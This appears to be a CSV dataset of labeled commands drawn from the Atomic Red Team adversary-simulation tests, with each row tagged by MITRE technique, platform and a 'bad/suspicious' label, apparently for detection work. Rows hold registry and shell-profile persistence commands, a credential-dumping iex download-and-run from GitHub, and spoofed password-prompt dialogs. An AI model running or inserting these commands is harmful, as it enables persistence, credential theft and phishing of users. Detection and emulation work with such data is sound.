36724a71252c54e1ed074d7c,"REG DELETE ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V ""calc"" /f >nul 2>&1","REG DELETE ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V ""calc"" /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,secedit used to create a Run key in the HKLM Hive,T1547.001,"[""T1547.001""]",windows,0.55,True,"secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cbd120a647b6d2c4cf5429a3,"if (!(Test-Path ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"")) { reg.exe export ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager"" ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"" /y } Set-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager"" -Name ""BootExecute"" -Value ""#{registry_value}"" -Type MultiString","if (!(Test-Path ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"")) { reg.exe export ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager"" ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"" /y } Set-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager"" -Name ""BootExecute"" -Value ""#{registry_value}"" -Type MultiString",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Modify BootExecute Value,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test modifies the BootExecute registry value to ""autocheck autoche *"", which can be used to simulate an adversary's attempt to tamper with the system's boot process. 
Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdb53f17ebdb8cea1f1dbf3f,"reg.exe import ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"" Remove-Item -Path ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"" -Force","reg.exe import ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"" Remove-Item -Path ""$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Modify BootExecute Value,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test modifies the BootExecute registry value to ""autocheck autoche *"", which can be used to simulate an adversary's attempt to tamper with the system's boot process. 
Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b9cc0096d1b5ef9102d5ebc4,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"" /f /v StartupPrograms /t REG_SZ /d ""#{malicious_app}""","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"" /f /v StartupPrograms /t REG_SZ /d ""#{malicious_app}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Allowing custom application to execute during new RDP logon session,T1547.001,"[""T1547.001""]",windows,0.9,False,"When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45fee707521e24a8a5b9e08d,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"" /f /v StartupPrograms /t REG_SZ /d ""rdpclip""","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"" /f /v StartupPrograms /t REG_SZ /d ""rdpclip""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Allowing custom application to execute during new RDP logon session,T1547.001,"[""T1547.001""]",windows,0.55,True,"When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5b19a464fe5f7d7fca58485,"reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d ""#{malicious_file}""","reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d ""#{malicious_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Creating Boot Verification Program Key for application execution during successful boot,T1547.001,"[""T1547.001""]",windows,0.9,False,"Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
can abuse by creating this registry key and providing a malicious application to be executed during successful boot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
37ed6a42a7f06f7dc2cdbe64,reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f,reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Creating Boot Verification Program Key for application execution during successful boot,T1547.001,"[""T1547.001""]",windows,0.55,True,"Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
can abuse by creating this registry key and providing a malicious application to be executed during successful boot
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
29f976dd2b633f05233dbb5c,"reg add ""HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command"" /ve /t REG_SZ /d ""C:\Windows\System32\calc.exe"" /f","reg add ""HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command"" /ve /t REG_SZ /d ""C:\Windows\System32\calc.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Add persistence via Windows Context Menu,T1547.001,"[""T1547.001""]",windows,0.9,False,"This atomic test add persistence taking advantage of the  Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)
User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eefd0334b62bf1221e206cb5,"reg delete ""HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify"" /f","reg delete ""HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Add persistence via Windows Context Menu,T1547.001,"[""T1547.001""]",windows,0.55,True,"This atomic test add persistence taking advantage of the  Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)
User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eaddf040ed085e4238084bf7,"echo ""#{script_command}"" > #{script_path} REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d ""#{script_path}"" /f","echo ""#{script_command}"" > #{script_path} REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d ""#{script_path}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.001/T1037.001.yaml,Logon Scripts,T1037.001,"[""T1037.001""]",windows,0.9,False,"Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
that can be viewed in the Registry Editor.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bef2763315a4a745689598d2,"REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1 del #{script_path} >nul 2>&1 del ""%USERPROFILE%\desktop\T1037.001-log.txt"" >nul 2>&1","REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1 del #{script_path} >nul 2>&1 del ""%USERPROFILE%\desktop\T1037.001-log.txt"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.001/T1037.001.yaml,Logon Scripts,T1037.001,"[""T1037.001""]",windows,0.55,True,"Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
that can be viewed in the Registry Editor.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83310133878b0d0f2059d114,"vaultcmd /listcreds:""Windows Credentials""","vaultcmd /listcreds:""Windows Credentials""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.004/T1555.004.yaml,Access Saved Credentials via VaultCmd,T1555.004,"[""T1555.004""]",windows,0.9,False,"List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos
https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d87fcfe45d24d1bcdcae8b94,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1') Invoke-WCMDump,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1') Invoke-WCMDump,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.004/T1555.004.yaml,WinPwn - Loot local Credentials - Invoke-WCMDump,T1555.004,"[""T1555.004""]",windows,0.9,False,Loot local Credentials - Invoke-WCMDump technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c15c0c95a4316a170bdcfd3b,"osascript -e 'tell app ""System Preferences"" to activate' -e 'tell app ""System Preferences"" to activate' -e 'tell app ""System Preferences"" to display dialog ""Software Update requires that you type your password to apply changes."" & return & return default answer """" with icon 1 with hidden answer with title ""Software Update""'","osascript -e 'tell app ""System Preferences"" to activate' -e 'tell app ""System Preferences"" to activate' -e 'tell app ""System Preferences"" to display dialog ""Software Update requires that you type your password to apply changes."" & return & return default answer """" with icon 1 with hidden answer with title ""Software Update""'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.002/T1056.002.yaml,AppleScript - Prompt User for Password,T1056.002,"[""T1056.002""]",macos,0.9,False,"Prompt User for Password (Local Phishing)
Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
241531656a9dd4287044549a,"# Creates GUI to prompt for password. Expect long pause before prompt is available. $cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName) # Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework. write-warning $cred.GetNetworkCredential().Password","# Creates GUI to prompt for password. Expect long pause before prompt is available. $cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName) # Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework. write-warning $cred.GetNetworkCredential().Password",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.002/T1056.002.yaml,PowerShell - Prompt User for Password,T1056.002,"[""T1056.002""]",windows,0.9,False,"Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
46c814ab765c24a756efc4e7,"PWD_SPOOF=$(osascript -e 'display dialog ""To perform a security update MacOS needs your passphrase."" with title ""MacOS Security Update"" default answer """" with icon stop with hidden answer') echo $PWD_SPOOF","PWD_SPOOF=$(osascript -e 'display dialog ""To perform a security update MacOS needs your passphrase."" with title ""MacOS Security Update"" default answer """" with icon stop with hidden answer') echo $PWD_SPOOF",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.002/T1056.002.yaml,AppleScript - Spoofing a credential prompt using osascript,T1056.002,"[""T1056.002""]",macos,0.9,False,"Prompt user for password without requiring permissions to send Apple events to System Settings.
https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6db13ac6c006f3ee8475e4bf,kubectl get cronjobs -n #{namespace},kubectl get cronjobs -n #{namespace},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.007/T1053.007.yaml,ListCronjobs,T1053.007,"[""T1053.007""]",containers,0.9,False,"Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fe11dd7235ffd5879ec8a766,kubectl create -f src/cronjob.yaml -n #{namespace},kubectl create -f src/cronjob.yaml -n #{namespace},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.007/T1053.007.yaml,CreateCronjob,T1053.007,"[""T1053.007""]",containers,0.9,False,"Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a9cbd1b882e0e3ee5c1f3f1,kubectl delete cronjob art -n #{namespace},kubectl delete cronjob art -n #{namespace},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.007/T1053.007.yaml,CreateCronjob,T1053.007,"[""T1053.007""]",containers,0.55,True,"Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6c38f06b7ea87267e024eea1,echo '#{command_to_add}' >> ~/.bash_profile,echo '#{command_to_add}' >> ~/.bash_profile,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Add command to .bash_profile,T1546.004,"[""T1546.004""]","macos,linux",0.9,False,"Adds a command to the .bash_profile file of the current user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
097b065ae4bf25e58f3f8dd6,head -n '-2' ~/.bash_profile > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bash_profile,head -n '-2' ~/.bash_profile > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bash_profile,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Add command to .bash_profile,T1546.004,"[""T1546.004""]","macos,linux",0.55,True,"Adds a command to the .bash_profile file of the current user
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2846db307914ad75b5c709db,echo '#{command_to_add}' >> ~/.bashrc,echo '#{command_to_add}' >> ~/.bashrc,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Add command to .bashrc,T1546.004,"[""T1546.004""]","macos,linux",0.9,False,"Adds a command to the .bashrc file of the current user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6349dc4e27892aba3c77d6e1,head -n '-2' ~/.bashrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bashrc,head -n '-2' ~/.bashrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bashrc,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Add command to .bashrc,T1546.004,"[""T1546.004""]","macos,linux",0.55,True,"Adds a command to the .bashrc file of the current user
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
65e6c58bf06add6571a0063a,echo '#{command_to_add}' >> ~/.shrc,echo '#{command_to_add}' >> ~/.shrc,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Add command to .shrc,T1546.004,"[""T1546.004""]",linux,0.9,False,"Adds a command to the .shrc file of the current user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
26ed47cbe47a8eaa632b5171,head -n '-2' ~/.shrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.shrc,head -n '-2' ~/.shrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.shrc,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Add command to .shrc,T1546.004,"[""T1546.004""]",linux,0.55,True,"Adds a command to the .shrc file of the current user
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
38a1fecb179c13e7239e54c3,echo '#{text_to_append}' >> /etc/profile,echo '#{text_to_append}' >> /etc/profile,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Append to the system shell profile,T1546.004,"[""T1546.004""]",linux,0.9,False,"An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time ""any"" user logs in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0287614fefcd5ae41561d64,"sed -i ""s/# Atomic Red Team was here! T1546.004//"" /etc/profile","sed -i ""s/# Atomic Red Team was here! T1546.004//"" /etc/profile",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Append to the system shell profile,T1546.004,"[""T1546.004""]",linux,0.55,True,"An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time ""any"" user logs in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45180a9a0cc0c346428881cb,echo '#{text_to_append}' >> ~/.profile,echo '#{text_to_append}' >> ~/.profile,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Append commands user shell profile,T1546.004,"[""T1546.004""]",linux,0.9,False,"An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the ""user"" logs in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d6ccba67eee9dedf9e3f121,"sed -i ""s/# Atomic Red Team was here... T1546.004//"" ~/.profile","sed -i ""s/# Atomic Red Team was here... T1546.004//"" ~/.profile",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Append commands user shell profile,T1546.004,"[""T1546.004""]",linux,0.55,True,"An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the ""user"" logs in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d5f63b2b0244b719b0563f9,echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh,echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,System shell profile scripts,T1546.004,"[""T1546.004""]",linux,0.9,False,"An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time ""any"" user logs in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
561e5a1c756120a4e165cc75,"sed -i ""s/# Atomic Red Team was here... T1546.004//"" /etc/profile.d/bash_completion.sh","sed -i ""s/# Atomic Red Team was here... T1546.004//"" /etc/profile.d/bash_completion.sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,System shell profile scripts,T1546.004,"[""T1546.004""]",linux,0.55,True,"An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time ""any"" user logs in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6eac36deebe4bf288601d6e1,"useradd --create-home --shell /bin/bash art su -l art -c ""echo 'echo \""Atomic Red Team was here... T1546.004\"" >> /home/art/art.txt' >> /home/art/.bash_logout; exit""","useradd --create-home --shell /bin/bash art su -l art -c ""echo 'echo \""Atomic Red Team was here... T1546.004\"" >> /home/art/art.txt' >> /home/art/.bash_logout; exit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Create/Append to .bash_logout,T1546.004,"[""T1546.004""]",linux,0.9,False,"The Bash shell runs ~/.bash_logout ""if it exists"" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an ""interactive login shell session"" i.e. via the console, SSH, /bin/bash -l or su -l <username>. 

This test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/a",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
994d6750f170e0dd5557fb68,userdel -fr art,userdel -fr art,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.004/T1546.004.yaml,Create/Append to .bash_logout,T1546.004,"[""T1546.004""]",linux,0.55,True,"The Bash shell runs ~/.bash_logout ""if it exists"" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an ""interactive login shell session"" i.e. via the console, SSH, /bin/bash -l or su -l <username>. 

This test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/a",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
657bfda3da8f72f89cd1d894,driverquery /v /fo list driverquery /si /fo list,driverquery /v /fo list driverquery /si /fo list,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1652/T1652.yaml,Device Driver Discovery,T1652,"[""T1652""]",windows,0.9,False,"Displays a list of installed device drivers on the local computer and their properties. Threat actors use this command to enumerate the existing drivers on the computer. 
Parameters: 
/v /fo list - Displays verbose output in a list format - the /v parameter is not valid for signed drivers
/si /fo list - Provides information about signed drivers and outputs it in a list format
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
876d804d78653cf1c83abf96,"find /lib/modules/$(uname -r)/kernel/drivers -name ""*.ko*""","find /lib/modules/$(uname -r)/kernel/drivers -name ""*.ko*""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1652/T1652.yaml,Enumerate Kernel Driver Files (Linux),T1652,"[""T1652""]",linux,0.9,False,"Finds and lists all kernel driver files on a Linux system in order to provide a broader view of available drivers, not just loaded ones.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e59c90c856830cacb19cb11,"IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso"" -OutFile ""$env:TEMP\qbot-test.iso"") Mount-DiskImage -ImagePath ""$env:TEMP\qbot-test.iso"" $mountedpath = (Get-DiskImage -ImagePath ""$env:TEMP\qbot-test.iso"" | Get-Volume).DriveLetter $finalpath = $mountedpath + "":\"" cd $finalpath .\calc.exe.lnk","IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso"" -OutFile ""$env:TEMP\qbot-test.iso"") Mount-DiskImage -ImagePath ""$env:TEMP\qbot-test.iso"" $mountedpath = (Get-DiskImage -ImagePath ""$env:TEMP\qbot-test.iso"" | Get-Volume).DriveLetter $finalpath = $mountedpath + "":\"" cd $finalpath .\calc.exe.lnk",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.003/T1204.003.yaml,Malicious Execution from Mounted ISO Image,T1204.003,"[""T1204.003""]",windows,0.9,False,Adversaries may rely on a user running a malicious image to facilitate execution,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a408576f4db55f810a9d6c6,"start-sleep -s 5 stop-process -Name ""Calculatorapp"" -Force dismount-diskimage -ImagePath ""$env:TEMP\qbot-test.iso""","start-sleep -s 5 stop-process -Name ""Calculatorapp"" -Force dismount-diskimage -ImagePath ""$env:TEMP\qbot-test.iso""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.003/T1204.003.yaml,Malicious Execution from Mounted ISO Image,T1204.003,"[""T1204.003""]",windows,0.55,True,Adversaries may rely on a user running a malicious image to facilitate execution,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cab1c060ff378250fdcbdda5,cat /etc/pam.d/common-password,cat /etc/pam.d/common-password,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine password complexity policy - Ubuntu,T1201,"[""T1201""]",linux,0.9,False,"Lists the password complexity policy to console on Ubuntu Linux.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2cf80fc797d326927df7c5e,cat /etc/pam.d/passwd,cat /etc/pam.d/passwd,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine password complexity policy - FreeBSD,T1201,"[""T1201""]",linux,0.9,False,"Lists the password complexity policy to console on FreeBSD.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a708a9f5aa75dfac0deceb5a,cat /etc/security/pwquality.conf,cat /etc/security/pwquality.conf,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine password complexity policy - CentOS/RHEL 7.x,T1201,"[""T1201""]",linux,0.9,False,"Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3de2e17e867c6b8f4a581397,cat /etc/pam.d/system-auth cat /etc/security/pwquality.conf,cat /etc/pam.d/system-auth cat /etc/security/pwquality.conf,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine password complexity policy - CentOS/RHEL 6.x,T1201,"[""T1201""]",linux,0.9,False,"Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1eba7ec9b46307225f6c038f,cat /etc/login.defs,cat /etc/login.defs,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine password expiration policy - All Linux,T1201,"[""T1201""]",linux,0.9,False,"Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
46422aa87446e0fd5b95c3c7,net accounts,net accounts,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine local password policy - Windows,T1201,"[""T1201""]",windows,0.9,False,"Lists the local password policy to console on Windows.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05b548546eb4d6bca1105896,net accounts /domain,net accounts /domain,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine domain password policy - Windows,T1201,"[""T1201""]",windows,0.9,False,"Lists the domain password policy to console on Windows.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdaa8d428ec50e4eca2fdbe4,pwpolicy getaccountpolicies,pwpolicy getaccountpolicies,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1201/T1201.yaml,Examine password policy - macOS,T1201,"[""T1201""]",macos,0.9,False,"Lists the password policy to console on macOS.
